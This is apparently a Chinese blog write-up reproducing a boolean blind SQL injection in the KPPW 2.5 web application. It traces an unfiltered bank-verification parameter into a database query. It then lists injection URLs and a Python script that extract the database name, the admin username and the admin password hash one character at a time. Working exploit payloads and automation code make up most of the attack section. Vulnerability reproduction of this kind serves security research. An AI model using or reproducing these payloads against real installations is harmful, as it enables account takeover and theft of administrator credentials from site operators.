KPPW2.5 漏洞利用--SQL注入

KPPW2.5 漏洞利用--SQL注入

SQL注入--布尔型盲注

环境搭建

1，集成环境简单方便，如wamp,phpstudy....

2，KPPW v2.2源码一份（文末有分享）放到WWW目录下面

3，安装，访问（http://127.0.0.1/test/KPPW2.5UTF8/KPPW2.5UTF8/install/index.php），选择下一步，下一步，填写数据库信息，后台管理员账号密码等等。

上述，漏洞复现平台搭建成功。

首页（http://127.0.0.1/test/KPPW2.5UTF8/KPPW2.5UTF8/index.php）。

漏洞分析

/control/user/account_auth.php文件

$arrAllowAuth = array('realname','enterprise','bank','mobile','email');
if ($code&&in_array($code,$arrAllowAuth)) {
    $code or $code = $keys ['0'];
    $code or kekezu::show_msg ( $_lang ['param_error'], "index.php?do=auth", 3, '', 'warning' );
    $auth_class = "keke_auth_" . $code . "_class";
    $objAuth = new $auth_class ( $code );
    $auth_item = $arrAllAuthItems [$code];
    $auth_dir = $auth_item ['auth_dir'];
    $arrAuthInfo = $objAuth->get_user_auth_info ( $gUid, 0, $intBankAid );
    require S_ROOT . "/auth/$code/control/index.php";
    require keke_tpl_class::template ( 'auth/' . $code . '/tpl/' . $_K ['template'] . '/'.$step );
    die;
} else {
    $real_pass = keke_auth_fac_class::auth_check ( 'enterprise', $gUid ) or $real_pass = keke_auth_fac_class::auth_check ( "realname", $gUid );
    $arrHasAuthItem = keke_auth_fac_class::get_auth ( $gUserInfo );
    $arrUserAuthInfo = $arrHasAuthItem ['info'];
}

仔细看看这里的：

$arrAuthInfo = $objAuth->get_user_auth_info ( $gUid, 0, $intBankAid );

这里的变量$intBankAid进入了函数get_user_auth_info函数 跟进函数get_user_auth_info

/lib/sys/keke_auth_base_class.php：

public function get_user_auth_info($uid,$is_username=0,$show_id=''){
        $sql="select * from ".TABLEPRE.$this->_auth_table_name;
        if($uid){
            $is_username=='0' and $sql.=" where uid = '$uid' " or $sql.=" where username = '$uid' ";
            $show_id and $sql.=" and ".$this->_primary_key."=".$show_id;
            $sql .=" order by $this->_primary_key desc";
            $data = db_factory::query($sql);
            if(sizeof($data)==1){
                return $data[0];
            }else{
                return $data;
            }
        }else{
            return array();
        }

接收到的变量$intBankAid——$show_id，然后$show_id进入$sql 整个过程中变量$intBankAid未过滤，

最后进入$sql进入数据库，导致sql注入漏洞。

漏洞利用

准备：注册个账号登陆上去，绑定银行卡，进入银行认证的环节，也就是存在SQL注入的页面（http://127.0.0.1/test/KPPW2.5UTF8/KPPW2.5UTF8/index.php?do=user&view=account&op=auth&code=bank&step=step2&intBankAid=147）。

首先用 and 1=1 和 and 1=2 判断

http://127.0.0.1/test/KPPW2.5UTF8/KPPW2.5UTF8/index.php?do=user&view=account&op=auth&code=bank&step=step2&intBankAid=147 and 1=1

http://127.0.0.1/test/KPPW2.5UTF8/KPPW2.5UTF8/index.php?do=user&view=account&op=auth&code=bank&step=step2&intBankAid=147 and 1=2

接下来就进行布尔盲注。

判断数据库长度：

http://127.0.0.1/test/KPPW2.5UTF8/KPPW2.5UTF8/index.php?do=user&view=account&op=auth&code=bank&step=step2&intBankAid=147 and (select (length(database())))=6--+-

查看数据库名字：

http://127.0.0.1/test/KPPW2.5UTF8/KPPW2.5UTF8/index.php?do=user&view=account&op=auth&code=bank&step=step2&intBankAid=147 and (select ascii(substr(database(),1,1)))=107--+-

查看后台管理员账号：

http://127.0.0.1/test/KPPW2.5UTF8/KPPW2.5UTF8/index.php?do=user&view=account&op=auth&code=bank&step=step2&intBankAid=147 and ascii(substr((select username from keke_witkey_member order by uid limit 0,1),1,1))=97--+

查看后台管理员密码：

http://127.0.0.1/test/KPPW2.5UTF8/KPPW2.5UTF8/index.php?do=user&view=account&op=auth&code=bank&step=step2&intBankAid=147 and ascii(substr((select password from keke_witkey_member order by uid limit 0,1),1,1))=102--+

上面写了个简单的python小脚本

#coding=utf-8
#by orange
import requests
import string
database_length=0
database_name=''
username=''
houtai_name=''
houtai_pass=''
url="http://127.0.0.1/test/KPPW2.5UTF8/KPPW2.5UTF8/index.php?do=user&view=account&op=auth&code=bank&step=step2&intBankAid=147"
headers={
    'Cookie':'PHPSESSID=qugpfg8d0bclq4k2mhm57f9426'
}
'''
数据库长度
print("数据库长度")
for i in range(1,10):
    payload=" and (select (length(database())))=%d--+-" % i
    length=requests.get(url+payload,headers=headers)
    print("正在测试......")
    print i
    if "622***018" in length.text:
        print("数据库长度：")
        print i
        database_length=i
        break
'''
'''
print("数据库名字")
for i in range(1,7):
    for j in range(1,123):
        payload = " and (select ascii(substr(database(),%d,1))) = %d--+-"%(i,j)
        database_name1 = requests.get(url+payload,headers=headers)
        if "622***018" in database_name1.text:
            database_name+=chr(j)
            print i
            print database_name
            break
'''
'''
print("后台账号:")
for i in range(1,6):
    for j in range(97,123):
        payload = " and ascii(substr((select username from keke_witkey_member order by uid limit 0,1),%d,1))=%d--+"%(i,j)
        houtai_name1 = requests.get(url+payload,headers=headers)
        if "622***018" in houtai_name1.text:
            houtai_name+=chr(j)
            print i
            print houtai_name
            break
'''
'''
print("后台密码:")
for i in range(1,33):
    for j in range(33,123):
        payload = " and ascii(substr((select password from keke_witkey_member order by uid limit 0,1),%d,1))=%d--+"%(i,j)
        houtai_pass1 = requests.get(url+payload,headers=headers)
        if "622***018" in houtai_pass1.text:
            houtai_pass+=chr(j)
            print i
            print houtai_pass
            break
'''
            

注入部分截图：

源码链接（链接: https://pan.baidu.com/s/1ggwXqBD 密码: 3ndt）

本文链接（http://www.cnblogs.com/Oran9e/p/8261750.html），转载请注明。

任重而道远！